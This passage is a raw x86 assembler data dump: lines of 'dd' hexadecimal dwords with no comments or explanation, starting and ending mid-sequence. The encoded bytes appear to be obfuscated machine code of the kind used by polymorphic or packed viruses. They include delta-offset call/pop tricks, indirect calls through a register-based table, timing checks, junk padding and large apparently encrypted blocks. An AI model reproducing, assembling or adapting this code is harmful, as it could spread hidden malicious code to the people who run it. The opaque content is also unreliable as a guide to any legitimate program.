7C895FC3h, 44810424h, 160424h dd 57470000h, 4B40A7C3h, 0B4AF1068h, 46B966FAh, 24348183h dd 2EABC229h, 4D98D89h, 0B5FF0613h, 6131EE9h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 17h, 5EC35040h, 8955FA45h dd 1317298Dh, 33858D06h, 6A06167Ch, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 0E902C356h dd 55FA455Eh, 0B167FD15h, 1DC18166h, 89D0FF70h, 13013585h dd 7133BF06h, 85C64635h, 61311E1h, 55006A6Ch, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1804h, 0C3554500h, 2F427687h dd 14E822h, 445C0000h, 0E1186478h, 0A081C409h, 21FE3BFBh dd 82C4F4FCh, 8B66B34Ch, 4E859D7h, 83000000h, 50DB0570h dd 424448Bh, 0F98B6660h, 61FE8B66h, 0AB6008Bh, 4244489h dd 0F58D78Ah, 48Bh, 98BA6600h, 6DB5FF84h, 6A061311h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h dd 8D5EC357h, 0F1D2C036h, 8D19D280h, 133AAD85h, 51006A06h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1804h, 0C3514100h dd 56CD6F04h, 3890F3Ch, 66000000h, 0D0FFFA8Bh, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 18h, 95C35141h, 5185D46Fh dd 31B58952h, 5906130Ch, 0A4028589h, 83F80616h, 16A41EBDh dd 850F0006h, 157h, 0B418D23h, 85C60613h, 61311E1h, 13E849h dd 11190000h, 6F3041EFh, 2FD7FE79h, 60B34321h, 947B51D2h dd 11B589AEh, 5A061324h, 8E8h, 0DEF25B00h, 4E550DAEh, 10E837h dd 0B2790000h, 1BF4111Ch, 0C5B0D5F4h, 0C96696CEh, 95296255h dd 6130D35h, 0B6685F5Ah, 66707DF4h, 8180D4BAh, 35332404h dd 6A1B97h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h dd 56460000h, 429371C3h, 0C83402EAh, 8E0FB0B5h, 2, 0B5FFD08Ah dd 613116Dh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 19h, 0E7C35040h, 0DDEC6EB4h, 6595890Bh, 8D06130Eh, 133AAD85h dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1804h dd 0C3564600h, 81C67561h, 1958952h, 0FF061306h, 50006AD0h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1D04h, 0C3504000h dd 0BBD635A0h, 0B2DABCB8h, 0E9579C3Fh, 0Dh, 3A52E133h dd 0D7DE8DF6h, 3D6B4A8Fh, 0BD335FA2h, 613072Dh, 0A41E8589h dd 6A0616h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h dd 52420000h, 0D339A5C3h, 0BDBD89E2h, 6A061305h, 15850904h dd 68061321h, 8800E52Ch, 95A2B966h, 0D4240481h, 8B77FF2Ah dd 13166D8Dh, 0B486806h, 0F38A23C7h, 48243481h, 3123C60Bh dd 1331F9B5h, 0F8006A06h, 297D95FFh, 6A0613h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1C0424h, 51410000h, 0B000DEC3h dd 41AB2746h, 810F87D4h, 6, 24058501h, 85890613h, 616A40Eh dd 2DB58952h, 59061309h, 0A40685C7h, 616h, 8D8B0000h, 6130DD9h dd 0E981006Ah, 31876B73h, 4E8h, 1000000h, 7176B900h, 6650481Ch dd 8B3A3BB9h, 66042444h, 8BD048BFh, 3220BA00h, 448962A0h dd 0E8B20424h, 68D0F58h, 29000000h, 1328C1BDh, 0BF669006h dd 8B509D13h, 950990CEh, 6131FEDh, 0E2810B6Ah, 3DD48A04h dd 0A3DB858Dh, 95890616h, 61304C1h, 3880Fh, 8B660000h dd 525090F8h, 0DE8h, 0DA6B1900h, 89EF6937h, 16ED5B64h dd 61603EB5h, 57310F59h, 13E8h, 0BC6FCD00h, 0AAFB01A3h dd 341AF42Ah, 1328E0C0h, 0B1244735h, 585A5A5Fh, 5E850h dd 59650000h, 6015B5A7h, 310F5250h, 75BA585Ah, 615E6449h dd 6A905Fh, 3E850h, 58200000h, 448958C3h, 44810424h, 170424h dd 50400000h, 3AAD1FC3h, 0D595FFA7h, 6A06131Eh, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h dd 0E77BC353h, 0F2C10EDCh, 5FE3BADCh, 0B58D3D56h, 616A3E5h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 2C35343h dd 450A9198h, 2ACC21EEh, 0A6AEC281h dd 7E86815h, 15000000h, 0AE0E5344h, 890F72FDh, 2, 965F6160h dd 5ACE8A56h, 1EAEBA50h, 6A960C8Dh, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 18042444h, 45000000h, 0C2BFC355h dd 80110EACh, 6090B8F6h, 2870Fh, 0CE8B0000h, 0FE8B5061h dd 56006A90h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h dd 0C3564600h, 0D0733AD1h, 8F82996Fh, 95FFDD4Fh, 6131315h dd 5E8h, 308A1500h, 0BF0FD1BEh, 0C00B5AFFh, 31850Fh, 5E90000h dd 36000000h, 9AB237CDh, 7A8E9h, 53006A00h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1404h, 0C3534300h, 0C18589D7h dd 0FF06131Ah, 55006AD0h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1404h, 0C3554500h, 0DA16BA9Fh, 0B58B66CBh dd 616A40Eh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 17h, 1FC35646h, 8BF0AF29h, 130E498Dh, 20468D06h, 4CE98166h dd 3810FDAh, 80000000h, 46A06C2h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 15h, 5FC35646h, 0C810FA7h, 0F000000h dd 680h, 0ED952900h, 89061307h, 131BB9BDh, 0CE806h, 0C460000h dd 5F7F3C8Ch, 0A9EDD437h, 8D0F28BEh, 0Ah, 5E9h, 0F1B61F00h dd 9059C295h, 0F18B6060h, 10E9h, 0F8CA4C00h, 2C23C7ECh dd 5665C78Eh, 2CC42E64h, 0D18B61B9h, 59BF5061h, 9000A5E7h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 17h, 0CDC35242h dd 31197A46h, 130625BDh, 85958B06h, 0FF061325h, 16A41E95h dd 0EE5CBA06h, 0C00B4E8Fh, 11840Fh, 8D8B0000h, 6131471h dd 660E9h, 61B53100h, 80061322h, 0F00207Eh, 65084h, 57006A00h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1904h, 0C3574700h dd 88DC0969h, 8166C9D2h, 60F3AAEAh, 7443E2B9h, 20468D56h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 60C35141h dd 0DE4ECA92h, 0AB268152h, 108D0F16h, 0E9000000h, 0Bh dd 0E8A0187Dh, 298EF69Dh, 8962F988h, 16A40A85h, 7D958B06h dd 0E9061319h, 0FBh, 3475958Bh, 0F400613h, 38Dh, 0CEBF0F00h dd 0A890F90h, 60000000h, 870Fh, 61600000h, 11E85061h, 0DB000000h dd 421961EAh, 24516528h, 4AFE220Bh, 68EAB034h, 5FD38B66h dd 0E7CA8090h, 958B046Ah, 6132B35h, 50E4B190h, 0E5B96660h dd 68A0FC4h, 50000000h, 5A310F52h, 89906158h, 132CED95h dd 1E95FF06h, 6A0616A4h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1B042444h, 43000000h, 5744C353h, 57B9DED7h dd 0D88BD372h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 16h, 66C35040h, 10E84919h, 28000000h, 1CE8E9B4h, 2D89B667h dd 0C8B28D02h, 81B24CF3h, 8C793CC9h, 80585F25h, 0DB0B05CAh dd 25840Fh, 6E90000h, 50000000h, 60E088EAh, 0AE979h, 46D10000h dd 31773376h, 0CED9D8D2h, 4E0E9h, 41D28100h, 80339B35h dd 850F0038h, 0FFFFFF02h, 2CA99D89h, 69E90613h, 6A000000h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 16042444h dd 45000000h, 2537C355h, 11E93Dh, 2F500000h, 0CE58EA80h dd 0D4CA473h, 0CA8B7D9Bh, 0BFA603CDh, 22EE467Eh, 55006A48h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1604h, 0C3554500h dd 60F4A341h, 0FC2BF0Fh, 682h, 9DB50300h, 6106131Ah, 0A40A853Bh dd 820F0616h, 6Ah, 80CE8B66h, 840F5C38h, 5Eh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 0C1C35646h, 3D4F6FD6h dd 35DFE781h, 38804CF7h, 89850F2Fh, 6AFFFFFFh, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h dd 1E90C356h, 820F4D37h, 6, 775BD8Bh, 0BA660613h, 0FC4023CDh dd 0A412BD83h, 0F000616h, 1E284h, 50D78B00h, 0F5B36051h dd 5961C88Bh, 6A240489h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1D042444h, 40000000h, 0FBC6C350h, 0C2342CD1h dd 5C3CFBC3h, 0B299523h, 952B0613h, 61314B1h, 0A4128503h dd 6A0616h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h dd 51410000h, 0D0FE08C3h, 3FA81A40h, 81A00B72h, 9BBB9AEAh dd 489504Bh, 56006A24h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1C04h, 0C3564600h, 0D2D7ABEDh, 71A765CEh, 0AE94Ah, 7C420000h dd 0E9F63EBCh, 0FD2A8D0Ah, 8A0F046Ah, 5, 84D18166h, 0DBD8B07h dd 5006131Fh, 2810Fh, 5BB20000h, 6A240489h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 6616C357h dd 398D8B49h, 0FF061317h, 16A41E95h, 51006A06h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1804h, 0C3514100h, 0FBDE4950h dd 0C9BF0F89h, 6AD88Bh, 3E850h, 58200000h, 448958C3h, 44810424h dd 180424h, 50400000h, 118CEFC3h, 0B5890404h, 6133045h dd 7E858h, 1F8F0000h, 333FEFEFh, 0BDBD8B6Eh, 5A061322h dd 840FDB0Bh, 5Dh, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Bh, 0EEC35646h, 0AE781EABh, 8B5945C7h, 1321E58Dh dd 253E906h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 190424h, 55450000h, 0A2EAE2C3h, 8BC8CF36h, 133231BDh dd 8BCF8B06h, 1322C58Dh, 0C606h, 4686BF66h, 53006A58h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h, 0C3534300h dd 0B823F3CDh, 0F99D89D4h, 5006130Fh, 489CA8Bh, 56006A24h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1404h, 0C3564600h dd 0B5896082h, 6132041h, 0B1E6A61h, 13150DBDh, 0BEB99006h dd 502AC14Dh, 0C7FCB950h, 905F29BAh, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Ah, 77C35040h, 51043D0h, 0E88A6954h dd 0A41E95FFh, 958B0616h, 6132B2Dh, 9589D88Bh, 613169Dh dd 53006A58h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1B04h dd 0C3534300h, 561CA90Bh, 31F4D7CDh, 1A998D29h, 0DB0B0613h dd 11840Fh, 0BD8B0000h, 61313D5h, 140E9h, 65953300h, 90061314h dd 3E2DB966h, 90E8B250h, 0DE9h, 7A0B3C00h, 0C0D249ECh dd 120AACDEh, 0B5FFC28Dh, 616A3FEh, 0FFCA8B66h, 16A40295h dd 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1D04h dd 0C3514100h, 6F8FA2EDh, 501D756Eh, 81667426h, 0E94CE5C7h dd 12h, 0DC237745h, 988A8D6Ah, 58CC8F89h, 0C694F390h, 0C00B2DC2h dd 65850Fh, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h dd 1C0424h, 50400000h, 1F339EC3h, 8628DD63h, 0BD8B7376h dd 6130E75h, 53006A61h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1604h, 0C3534300h, 8BE46398h, 1324918Dh, 685C706h, 10616A4h dd 29000000h, 1311D5B5h, 63E906h, 61F80000h, 30C1BD23h dd 0C6810613h, 11Ch, 0E856006Ah, 3 dd 5EC35E20h, 4247489h, 4244481h, 1Bh, 6FC35646h, 57F24A04h dd 6686A945h, 0BA1FD9BAh, 1B4E684h, 0FFF8ECE9h, 56006AFFh dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1604h, 0C3564600h dd 315C2BF2h, 1300F5BDh, 0C8D76806h, 52504D56h, 0B8616060h dd 6ED6B0ADh, 0E9310F61h, 14h, 7AEB82Dh, 2F4BE88Eh, 2CA339D5h dd 6BA0910Eh, 47E7BC93h, 3481585Ah, 5648D724h, 6E94Dh dd 47960000h, 0D0F7A54Fh, 6A006Ah, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 150424h, 53430000h, 66543BC3h, 0FFAF77BFh dd 16A40EB5h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1A04h, 0C3504000h, 0AE658F98h, 0F48C6EAh, 1D82h, 11E800h dd 0EF280000h, 0E9A8541Eh, 0EC70B744h, 55745CFFh, 31F145EFh dd 132FF98Dh, 95FF5906h, 6130135h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Ah, 6C35141h, 0F0B9F112h, 0BD29CCC0h dd 6130959h, 0A406858Bh, 6A0616h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 140424h, 57470000h, 0B950F8C3h, 33AE795Eh dd 1240489h, 13298D8Dh, 16858D06h, 0F0616A4h, 683h, 19BD8B00h dd 0E9061328h, 0Ch, 0D2B64ED2h, 0C7F73D7h, 0CCB66077h dd 50595090h, 4810Fh, 0BF660000h, 8B90D4D6h, 13248595h dd 29BD8B06h, 8D061324h, 16A3D385h, 0BD97BA06h, 0B70F4868h dd 0E95090CFh, 10h, 6B09BE18h, 0CF9E3AAAh, 0AD4039A0h dd 13571085h, 56006A90h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1604h, 0C3564600h, 29B422D9h, 133225B5h, 0D595FF06h dd 66061322h, 4A60C781h, 6E8C08Bh, 2B000000h, 7E746F35h dd 5FCA8BD6h, 1625BD83h, 75000613h, 81BD8309h, 6132Ch dd 53501374h, 0D0B8C08Bh, 8D000004h, 15A7B89Dh, 5BD3FF06h dd 81BD8358h, 6132Ch, 53501174h, 4D0B8h, 0B79D8D00h, 0FF0615A6h dd 6A585BD3h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 15042444h, 40000000h, 2033C350h, 13E9h, 20A91700h, 785DA01h dd 0C35367EFh, 0DEDAA05Ah, 0CCFFDC86h, 30798D8Bh, 0C08B0613h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h, 97C35646h dd 6A2ED2F7h, 298D8977h, 58061330h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 19h, 25C35646h, 0E644128Bh, 0CEBF0FCDh dd 2F8DBD01h, 8C20613h, 92CA8100h, 8B1D00FAh, 3D8D8BC0h dd 8A06130Eh, 5E858DC8h, 8B0616A4h, 131D318Dh, 0DB58906h dd 8906130Ah, 131B0585h, 2DE906h, 0D09C0000h, 1D10h, 9 dup(0) dd 0E9000000h, 51Eh, 0BF1F3783h, 0A5054999h, 0B9193183h dd 0AA084897h, 0BB1B3988h, 0F746A788h, 0D5B7D5Dh, 0F0436545h dd 5587A58h, 755A6747h, 0B46B8600h, 68DA4F16h, 51E06CBDh dd 5674E06Dh, 4C6BE174h, 0B4A0FA6Bh, 2469109Dh, 0B8094D9Ch dd 81D084D1h, 0EED06100h, 0F063F25Ch, 8590982h, 1582FF7Eh dd 1C7D6261h, 64E9BBFh, 0D00ED637h, 0D3F355EAh, 5FEE5AEDh dd 36A7ED7Bh, 109E5EDCh, 300160A5h, 0CB1B3F1Ch, 8953B283h dd 0FADD8AFFh, 9E5F0F8Bh, 2BB5D810h, 14B29629h, 8DBD0F33h dd 8CC01143h, 0CFEF082Fh, 0A53F7711h, 785F1883h, 90582572h dd 6021A0D1h, 0CB5D109Eh, 0B4E9EE7Fh, 7DF954AEh, 0E864F5D9h dd 0A217B159h, 4DBE4CB3h, 4135511Fh, 0E11433A3h, 109E8865h dd 0BEE5EF2Eh, 6Ah, 0E06CBDA4h, 0B4A42051h, 0C619109Dh dd 0EC7D1CE1h, 0B7014DD1h, 0C090BC4Dh, 68A34179h, 1, 0E16DBDCEh dd 0EDBAE5C2h, 144A1B65h, 0BC910D7Ch, 3B5A109Dh, 0BE1032B1h dd 2E7DC190h, 52C01322h, 7F290EB9h, 0AB6A9D24h, 0A3A465B2h dd 6908AAC6h, 925AF645h, 4260EE40h, 0B7134265h, 80109E56h dd 2243055Ah, 2725B89Ah, 70BD2987h, 522ABE1Eh, 0DEBF0E1Bh dd 53FB4B8Fh, 0FD8EFC02h, 7E5CF845h, 930F7E61h, 5C109E03h dd 0C9DAF39h, 7BCDF140h, 1B777ECFh, 0A7AE7E9Eh, 6F50A341h dd 9DF9A4FEh, 0F8DCD510h, 15EAB534h, 0A6FDC746h, 67h, 6BE71639h dd 34109DEBh, 0C24D07D1h, 0EA3D4EE0h, 0EF8E0F5Eh, 0A3B53F5Eh dd 2B2F3E16h, 2FA0B199h, 4D9C46C3h, 0C5DF344h, 0ECCEEC8Dh dd 6466F75Dh, 5EC7DD3h, 1CCCF089h, 0C4A341E8h, 51h, 0E470BD9Ah dd 6ADE7155h, 0E868F7DBh, 0A3E27559h, 9583911h, 462FCCC6h dd 2BDC6D65h, 0C697B707h, 0E5B7D47h, 0C2CA6846h, 31004EE0h dd 74C608D0h, 88D5FDDAh, 146504CCh, 109DB4B5h, 527A42Eh dd 0A341EA37h, 89Fh, 0CA1A4000h, 9058B988h, 0DF6BBDC6h dd 53F94C8Eh, 51FB4E74h, 61F6D887h, 0DCBD9324h, 56FA498Dh dd 0AD1E5407h, 103724B8h, 0E715B603h, 0AFD9E369h, 76D4681Ah dd 75115858h, 64362756h, 0A6E7168Fh, 2A22B397h, 598CAB8Ch dd 0A8B61FDh, 5B7D47C6h, 82F3420Ah, 0A8B6206h, 0CB6533Fh dd 0D3393B9h, 0C3390BCh, 0C8DCEA34h, 1FCE166Fh, 93A2AA3Bh dd 3BEC5DEBh, 0A66DE91Ch, 0D7360A8Bh, 0F7ACB0Dh, 0D2F190C0h dd 0A60680F5h, 0AB3A0A8Bh, 0EA7998A9h, 973321ABh, 5AAC1BD9h dd 12481h, 0BEA3D500h, 377AEBC8h, 0D0168EBCh, 87DAFC4Dh dd 72C3E5C5h, 0F6478BDAh, 91FF0756h, 0DC6B4FF8h, 0D76A6C74h dd 3FFD5575h, 0E15AAD1Bh, 0F74811F6h, 0FD900F1h, 4788h dd 0BCA3AE00h, 0FA74E9C6h, 36F624Bh, 0B394B382h, 429BDA8Ch dd 3829DAA5h, 909DE6DEh, 2F5E66A7h, 909DE6B3h, 6BFA5AE7h dd 0E879D967h, 0D47EFB77h, 0D5ABCA80h, 0D5A1E9Bh, 8B275675h dd 94EF627Dh, 0A6765171h, 0DC000000h, 0EBC8BEA3h, 8EA18F7Ah dd 44157816h, 59B52807h, 220A8AA1h, 0ACBD8B20h, 92C40C6Dh dd 8BAD0D3Fh, 0B243123Ah, 0A8AA151h, 0D2654D92h, 1EA6E776h dd 1AAB57F4h, 41AA9532h, 2B82CF72h, 64E67A5Ch, 2E2CB4D5h dd 308FF7F2h, 3294B60Ah, 60A1B0A2h, 200A7B58h, 391077E8h dd 0E26BE716h, 0D1340473h, 2A3B5A07h, 7FDB0A2Dh, 480473E2h dd 88D9FBC5h, 0CD9CB001h, 0A4FE6F4Ch, 6D0473E1h, 0D6F84928h dd 9BB50683h, 1B2A4BCAh, 98A9A937h, 46025579h, 4DBED4F7h dd 710A8458h, 0E7C4C2A7h, 6130AC76h, 9230550Ah, 0C8BEA338h dd 3B07AEBh, 3459168Bh, 2921B397h, 0ABFE409Fh, 0FE2401A1h dd 0AC1DDAAAh, 53DD83EBh, 15A8AA32h, 1ED72637h, 9B05851Dh dd 9D30E257h, 0C2E0FAFh, 43C293B9h, 46065779h, 5AEE4169h dd 0D878C70Bh, 5F690889h, 0E36DBE00h, 14BDEC4h, 5807D130h dd 0DA6BE576h, 962869F8h, 4788D9B8h, 0F1C7AE4Bh, 755D0A7Fh dd 6D5F69E5h, 705270DCh, 3DE6FDDh, 17h, 108AFBDCh, 0D9EF808Bh dd 7BB22CB4h, 920C815Eh, 5B109DB4h, 0BD28B23Ah, 7254E571h dd 0FADC6DDFh, 7052E365h, 0DFE372E0h, 0F330252h, 7FC392C2h dd 2D112030h, 0BC9EAF9Bh, 2215242Ah, 72BC68h, 241C8900h dd 81E68956h, 4C6h, 4EE8300h, 5C243487h, 56241489h, 0C681E689h dd 4, 4EE81h, 34870000h, 3C895C24h, 0AA685624h, 5E15E970h dd 0E681D6F7h, 0BCC754Bh, 0B285C681h, 8953FC12h, 5BDA89F3h dd 3C8B545Eh, 4C48124h, 51000000h, 8B9h, 89F90100h, 240C8B11h dd 4C481h, 34FF0000h, 0C4835F24h, 24148B04h, 81E78957h dd 4C7h, 4C78100h, 87000000h, 0E95C243Ch, 0FFFCC488h, 41A77598h dd 81F0E038h, 4EB87554h, 30616BCh, 26E0FFC5h, 1F4261F6h dd 3C0C45F4h, 3E690Ah, 6E4A256Dh, 4061AF57h, 88408683h dd 56338271h, 0C1013987h, 0EA02FFBAh, 0F061236h, 0F648C2B8h dd 821FBF0h, 0ED3C1D53h, 956ED3BCh, 0D62BC075h, 0DB557F0Eh dd 74162C20h, 0E909759Eh, 75h, 0D88C6660h, 840F04A8h, 35h dd 0B5FF016Ah, 613116Dh, 7C33858Dh, 0D0FF0616h, 28158589h dd 0FE8B0613h, 680CEFC1h, 20040000h, 26A006Ah, 0D6857h dd 95FF0001h, 6132815h, 32E9h, 0E185C600h, 56061311h, 0C530DF68h dd 0E9B5FFA9h, 8D06131Eh, 167C3385h, 89D0FF06h, 13122D85h dd 0FD858D06h, 50061329h, 56A206Ah, 2D95FF56h, 61061312h dd 6E0C1C3h, 1DE9h, 0F78FCF00h, 6Fh, 5 dup(0) dd 14E90000h, 96000006h, 8AB00E48h, 92B81638h, 8CAE0C3Eh dd 93B5153Bh, 7DB00E46h, 480C59B2h, 5AF8486Ah, 4701567Ch dd 5CF04167h, 0FB6A757Eh, 16B4719Fh, 0AD8A3168h, 0B471DE38h dd 6CE61716h, 3516B472h, 9D0283D0h, 951EEDF6h, 2DA731C8h dd 901D6CBDh, 52E2C4h, 5FEED061h, 62F3D5F5h, 0E6775BEAh dd 63F3D766h, 89095AEBh, 5DEF42F0h, 41075C7Eh, 94791F0h dd 16B49427h, 98A99F34h, 1D2C26B6h, 4FE2A939h, 4C2D6CFDh dd 0C589D9FDh, 0CA3F5374h, 0EE8B05DBh, 4496EF44h, 654B6B0Ah dd 7C5B78D4h, 9DB48D09h, 0AD375610h, 0B54ECF3Eh, 398A109Dh dd 0B3044617h, 4CC6CC9Dh, 0B121C6AFh, 0EA24F418h, 768CA341h dd 0B2000000h, 51E06CBDh, 9DB4A420h, 0E1C61910h, 41B4CD5Ch dd 109E77C5h, 0B0A80F8Eh, 44CE1642h, 34D7A5C7h, 17FA341h dd 0E3000000h, 1670E5C2h, 0DF109DB5h, 922436BEh, 19A9ADBCh dd 91222435h, 0CE3F20BFh, 109DB554h, 71F0F81Dh, 7017B4DEh dd 4493F84Ah, 0BDDC6D0Ch, 0FF912133h, 9DB5148Eh, 82C64510h dd 0F15DD53Eh, 51842362h, 109E63F5h, 0A03E5FBEh, 852527BAh dd 0E470BD2Bh, 0D268E0C7h, 9F3C3798h, 22B49655h, 0DB751D2Ch dd 2F25B45Eh, 7118A98Fh, 3476CE0h, 4BDA0579h, 183A99F8h dd 95BA8BC9h, 0CEFA9622h, 4261005Eh, 9E76B713h, 0D31D8010h dd 0AC9E3214h, 0C13AD49Dh, 412ACD9Bh, 0BF75A3h, 0C2C90000h dd 633B4FE0h, 5D36AD56h, 0D9FBC5A4h, 5A79C88Ch, 17A8E978h dd 88095839h, 90BA0E40h, 1E2A7DC1h, 0D0BB0B4Fh, 180D17Fh dd 6AEAD160h, 0AA109676h, 0FACE6BAh, 6CDD1526h, 0A4A97BBh dd 134190C2h, 143E8EB4h, 0DEFCC445h, 1296DFCh, 4CCD9CB0h dd 9E27C11Dh, 6A0B8A10h, 9FFB6A4Dh, 0D3109E27h, 1C81CE86h dd 0A23115D4h, 67F65EEBh, 42684726h, 0B0D160F2h, 56B0B928h dd 9BE9B7E5h, 0A78BA341h, 0E4253414h, 51E072C2h, 4C71A830h dd 0C5000000h, 0C7E470BDh, 0B51975E8h, 0A3E2109Dh, 4585BBFCh dd 29B3D017h, 54398BAh, 8CBE1234h, 54999BDh, 0DA6FA334h dd 31CAC8EBh, 82203481h, 0E16DBD28h, 0FC4F7350h, 549CFD4Ch dd 9DB554B5h, 0CC3DCD10h, 41EAD0A0h, 178A3h, 0BDDE0000h dd 4C8EDF6Bh, 0CE0253F9h, 0D478C9F1h, 5909820Ch, 23634307h dd 4C6B483Eh, 0B4A0FA6Bh, 6169109Dh, 0AEEF7ED2h, 978605CFh dd 48168EB1h, 0ADE0B002h, 0A8AAF31h, 6BFA9BFAh, 4B6C4B2Ah dd 8AAEC01Ah, 0BC04890Ah, 0E8092E2Dh, 0A0C92887h, 3485C711h dd 0F7460255h, 0F1D7F796h, 2C5DEC60h, 0A8AA4B0h, 0D41136E9h dd 0C91D44B5h, 60D933BDh, 8D2D1FB2h, 16388AB0h, 50398CCEh dd 23325301h, 6EFB8E1Fh, 573657E6h, 0F9920006h, 7654F849h dd 0A9556E59h, 0BA4BBABh, 1AFC02A4h, 0C71159BDh, 0ADDD410Fh dd 185E95Ah, 0A34D0000h, 0F87802BEh, 0D34FF394h, 7DE015B2h dd 16168F49h, 0B1126331h, 17824392h, 5396F5AAh, 0BD6E5534h dd 89A15313h, 9C832041h, 41E88720h, 5F1BC3BAh, 431487F5h dd 74B9A22h, 0A0B6D0B6h, 628DC66h, 7C5F4867h, 0CE1E9016h dd 0C2E2CB4h, 80C293B9h, 484E1F2Dh, 308131CAh, 88998456h dd 0E36403A4h, 90BCE3F8h, 910D807Bh, 5A0A8B95h, 9B3B5A3Bh dd 0EE689DBAh, 0B70A8B95h, 5AE3AA90h, 36572883h, 526636AEh dd 59CE5AACh, 74000000h, 0D508BCA3h, 109DB579h, 0A0AE0042h dd 70117091h, 4B882253h, 0C916F62h, 0B552CC3Dh, 3386909Dh dd 0B6064819h, 90248CD6h, 0CDAC5B36h, 0B42E5F7Ch, 7D909E76h dd 0B14AC418h, 4DBEB0C4h, 0C11E647Bh, 630DB24Ch, 0B5072BEFh dd 81D082D2h, 0A576100h, 0A00C2B8Bh, 0B2000000h, 0A158DDC2h dd 0A87532C0h, 0B9CD1420h, 8DDEEB1Ah, 83C7168Fh, 26B51931h dd 0DDFA4B2Ah, 0C7EB67F5h, 786D777h, 3F4A9BBDh, 3F0F9FF2h dd 0B99F3F5Eh, 0E4152428h, 0A8B8D63h, 2C3D15A3h, 3FF0982Ah dd 8C5FD1A2h, 3B431273h, 66493CCDh, 9223CF6Ch, 1C3B1CBAh dd 0BBAAA436h, 0A8B355Fh, 69DA1F28h, 820D482Eh, 84DDD9E3h dd 3F5EEE3Fh, 0D9A26DA0h, 0C3071078h, 1AB9D870h, 20A8A638h dd 202C7DC1h, 38D13B11h, 0AE0D7970h, 621B943Fh, 3794F90Ah dd 0B0495B10h, 0E2233220h, 8C923EBDh, 0A3BC1644h, 96B205BEh dd 60F2D8F7h, 0D805FEEh, 109DB491h, 925A3B5Ah, 9671045h dd 49CC168Bh, 64F7DBF8h, 67FADCE4h, 52E3C5E5h, 0AFB55534h dd 7110B0B6h, 5BB891E0h, 4A757366h, 0E978D668h, 55E620A8h dd 62400C9Dh, 805FED40h, 0C5B42E5Fh, 5A7DA0A5h, 0A5C5AF2Bh dd 741578A0h, 8AD9FD6Ch, 0CF9EB603h, 72D86C4Eh, 0E4C3A2E3h dd 8EDF69BEh, 3226C50Fh, 0B69C4BC0h, 0F9182923h, 4CDDEFh dd 22327FA3h, 81D0F213h, 0B90382D3h, 6524B59Bh, 0A9E879D5h dd 205C79C8h, 2000000h, 6CBDE5C2h, 413051E0h, 109DB4C5h dd 19AB0F8Eh, 0D7E12031h, 594166B3h, 9005A7FEh, 0BD5903CDh dd 7254E571h, 0FADC6DDFh, 7052E365h, 0DFE372E0h, 0F330252h dd 7FC392C2h, 2D112030h, 0BC9EAF9Bh, 2215242Ah, 81E68956h dd 4C6h, 4EE8300h, 31243433h, 34332434h, 89565C24h, 4C681E6h dd 81000000h, 4EEh, 24348700h, 240C895Ch, 4EDC68h, 243C8900h dd 8904EC83h, 0BBBA2414h, 817C8157h, 0FF2BBACAh, 0ECCA815Ch dd 81598A7Fh, 0E9C226F2h, 5AD1897Bh, 39A68h, 24248900h dd 4240481h, 5F000000h, 8BA52h, 0FA010000h, 89CB8953h dd 8B5A5B1Ah, 8953243Ch, 4C381E3h, 81000000h, 4C3h, 241C8700h dd 2434FF5Ch, 4C48159h, 0E9000000h, 0FFFCBD84h, 0FE86E03Eh dd 0D3B304C6h, 258EBADCh, 0B8B8295Eh, 